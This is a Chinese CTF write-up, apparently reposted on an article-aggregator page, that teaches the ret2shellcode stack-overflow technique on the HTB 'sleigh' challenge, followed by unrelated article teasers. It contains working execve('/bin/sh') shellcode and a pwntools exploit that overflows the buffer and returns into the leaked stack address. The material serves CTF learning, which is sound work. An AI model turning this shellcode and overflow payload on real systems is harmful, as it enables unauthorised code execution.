CTF-栈溢出-基本ROP-【ret2shellcode】

news2024/11/27 10:39:23

文章目录

  • ret2shellcode
  • HTBCyberSanta 2021 sleigh
  • 思路
  • exp

ret2shellcode

控制程序去执行我们自己填充的代码。
条件:

  • 我们填充的代码的位置具有可执行权限

HTBCyberSanta 2021 sleigh

检查保护

在这里插入图片描述
Has RWX segments提示有可读可写可执行的段

main函数
在这里插入图片描述
banner函数:
在这里插入图片描述

repair函数:

在这里插入图片描述
这里read存在栈溢出,同时第一个fprintf输出了buf的地址

goodbye函数

在这里插入图片描述
sleigh函数

在这里插入图片描述

C 库函数 int atoi(const char *str) 把参数 str 所指向的字符串转换为一个整数(类型为 int 型)。

fprintf用法

#include <stdio.h>
#include <stdlib.h>

int main()
{
   FILE * fp;

   fp = fopen ("file.txt", "w+");
   fprintf(fp, "%s %s %s %d", "We", "are", "in", 2014);
   
   fclose(fp);
   
   return(0);
}

思路

栈溢出,同时栈上可执行,利用泄露的buf地址作为返回地址,同时将shellcode写入buf

shellcode一个不行就换下一个
shellcdoe
shellcode

接受字节‘0x ……’的处理,先化整型然后p64处理
在这里插入图片描述

s.recvuntil(b" [")
leakVariable = p64(int(s.recvuntil(b"]")[:-1].decode(),16))//转换到八个字节的地址形式

exp

from pwn import *
context(os="linux",arch="amd64",log_level="debug")
shellcode =b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"

s = process("./sleigh")
s.sendline(b"1")
s.recvuntil(b" [")
leakVariable = p64(int(s.recvuntil(b"]")[:-1].decode(),16))
payload = shellcode.ljust(72,b"A")
payload += leakVariable
s.sendline(payload)
s.interactive()
s.close()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1218965.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

期望、方差

一、期望和方差的定义 随机变量(Random Variable) X 是一个映射&#xff0c;把随机试验的结果与实数建立起了一一对应的关系。而期望与方差是随机变量的两个重要的数字特征。 1. 期望(Expectation, or expected value) 期望是度量一个随机变量取值的集中位置或平均水平的最基…

Java简介、基本语法

一、Java简介&#xff1a; Java 是由 Sun Microsystems 公司于 1995 年 5 月推出的 Java 面向对象程序设计语言和 Java 平台的总称。 Java主要的特性&#xff1a; 1、Java语言是简单的的&#xff1a; Java语言的语法与C、C语言接近。Java丢弃了C中的一些特性&#xff0c;如操…

系列三、GC垃圾回收【总体概览】

一、GC垃圾回收【总体概览】 JVM进行GC时&#xff0c;并非每次都对上面的三个内存区域&#xff08;新生区、养老区、元空间/永久代&#xff09;一起回收&#xff0c;大部分回收的是新生区里边的垃圾&#xff0c;因此GC按照回收的区域又分为了两种类型&#xff0c;一种是发生在新…

redis高级案列case

案列一 双写一致性 案例二 双锁策略 package com.redis.redis01.service;import com.redis.redis01.bean.RedisBs; import com.redis.redis01.mapper.RedisBsMapper; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; imp…

HT8313 D/AB切换 音频功率放大器

HT8313具有AB类和D类的自Y切换功能&#xff0c;在受到D类功放EMI干扰困扰时&#xff0c;可随时切换至AB类音频功放模式&#xff08;此时电荷泵升压功能关闭&#xff09;。 HT8313内部固定28dB增益&#xff0c;内置的关断功能使待机电流Z小化&#xff0c;还集成了输出端过流保护…

翻转链表(图解)

LCR 024. 反转链表 - 力扣&#xff08;LeetCode&#xff09; 题目描述 给定单链表的头节点 head &#xff0c;请反转链表&#xff0c;并返回反转后的链表的头节点。 样例输入 示例 1&#xff1a; 输入&#xff1a;head [1,2,3,4,5] 输出&#xff1a;[5,4,3,2,1]示例 2&…

中欧之间,从此万里有云桥

相传在1271年&#xff0c;马可波罗跟随父亲和叔叔前往中国&#xff0c;他们在海上漂泊了足足四年&#xff0c;才最终抵达元大都。从此之后&#xff0c;欧亚大陆的两端在数百年间发生了一系列故事。而海上船只&#xff0c;始终是穿行中欧的交通方式。 直到20世纪&#xff0c;两座…

git 指定时间代码统计

指定时间代码统计 用法 13 - 17 号 代码情况 近一周 git log --since2023-11-13 00:00:00 --until2023-11-17 23:00:00 --prettytformat: --numstat | awk { add $1; subs $2; loc $1 - $2 } END { printf "added lines: %s, removed lines: %s,total lines: %s\n&…

OmniGraffle Pro v7.22.3(流程图UML图)

OmniGraffle Pro是一款非常棒的绘图软件&#xff0c;具有多种功能&#xff0c;包括&#xff1a; 绘制图表&#xff1a;OmniGraffle Pro可以创建各种类型的图表&#xff0c;包括流程图、组织图、UML图、网络图等等。它还支持导入和导出多种文件格式&#xff0c;如PDF、SVG、Vis…

怎么去掉邮件内容中的回车符

上图是Outlook 截图&#xff0c;可见1指向的总有回车符&#xff1b; 故障原因&#xff1a; 不小心误按了箭头4这个选项&#xff1b; 解决方法&#xff1a; 点击2箭头确保tab展开&#xff1b; 点击3以找到箭头4. 取消勾选或者多次点击&#xff0c;即可解决。

Linux - 用户级缓冲区和系统缓冲区 - 初步理解Linux当中文件系统

前言 文件系统 我们先来看两个例子&#xff1a; 这个程序输出&#xff1a; 此时的输出也满足的我们预期。 我们也可以把 程序执行结果&#xff0c;输出重定向到 一个文件当中: 当我们在代码的结尾处&#xff0c;创建了子进程&#xff0c;那么输出应该还是和上述是一样的&…

Vue bus事件总线的原理与使用

这里写自定义目录标题 一、 Vue Bus 总线原理二、Vue bus的使用1、创建总线&#xff1a; 在 Vue 应用中&#xff0c;可以创建一个 Vue 实例作为总线&#xff0c;用于管理事件。2、事件的发布与订阅&#xff1a; 组件通过订阅事件来监听总线上的消息&#xff0c;而其他组件则通过…

Azure 机器学习:使用 Azure 机器学习 CLI、SDK 和 REST API 训练模型

目录 环境准备克隆示例存储库 示例案例在云中训练1.连接到工作区PythonAzure CLIREST API 2. 创建用于训练的计算资源4. 提交训练作业PythonAzure CLIREST API 注册已训练的模型PythonAzure CLIREST API Azure 机器学习提供了多种提交 ML 训练作业的方法。 在本文中&#xff0c…

【linux】查看CPU的使用率

命令1&#xff1a;top top 总体系统信息 uptime&#xff1a;系统的运行时间和平均负载。tasks&#xff1a;当前运行的进程和线程数目。CPU&#xff1a;总体 CPU 使用率和各个核心的使用情况。内存&#xff08;Memory&#xff09;&#xff1a;总体内存使用情况、可用内存和缓存…

监控直流防雷浪涌保护器综合方案

监控系统是一种广泛应用于安防、交通、工业、军事等领域的信息系统&#xff0c;它通过摄像机、传输线路、监控中心等设备&#xff0c;实现对目标区域的实时监视和控制。然而&#xff0c;监控系统也面临着雷电的威胁&#xff0c;雷电可能通过直击雷、感应雷、雷电波侵入等途径&a…

储能领域 / 通讯协议 / 技术栈 等专有名字集锦——主要收集一些储能领域的专有名词,以及相关的名词

目录 名词解释ModbusIOT设备通讯协议 CAN/ RS-485 储能术语电池管理系统BMS电池储能系统相关概念&#xff0c;总控&#xff0c;主控&#xff0c;从控 电池相关知识拆解电池的构成逆变器 电池核心参数SOC 电池剩余容量 名词解释 英文中文biz layer业务层与业务层通信的服务CRC循…

GAT里面的sofamax函数的实现:

1.sofamx 公式&#xff1a; 2. GAT里的sofamax函数的实现&#xff1a; 1. 因为指数在x轴正轴爆炸式地快速增长&#xff0c;如果zi比较大&#xff0c;exp⁡(zi)也会非常大&#xff0c;得到的数值可能会溢出。溢出又分为下溢出&#xff08;Underflow&#xff09;和上溢出&#x…

当攻防演练已成常态,企业应该相信西医还是老中医?

在面对疾病时&#xff0c;很多人常常会犹豫不决&#xff0c;不知道应该选择中医还是西医进行治疗。与疾病斗争的过程也是一场“战斗”&#xff0c;需要选择合适的“武器”和策略。有些人认为西医疗效快&#xff0c;能够迅速缓解症状&#xff1b;而另一些人则认为中医治疗更根本…

llvm源码windows编译

1.克隆llvm源码: git clone --config core.autocrlf=false https://github.com/llvm/llvm-project.git 2.创建build文件夹并生成makefile 生成前置条件: cmake ,ninja,python3要先安装 cmake -S llvm -B build -G Ninja -DCMAKE_BUILD_TYPE=Release 生成成功 3.编译 进…

如何用AB测试完善产品激励体系

更多技术交流、求职机会&#xff0c;欢迎关注字节跳动数据平台微信公众号&#xff0c;回复【1】进入官方交流群 用户激励体系&#xff0c;也称用户激励机制&#xff0c;是为了让用户持续使用产品&#xff0c;而设计的一套对应规则。在用户激励体系建立过程中&#xff0c;产品可…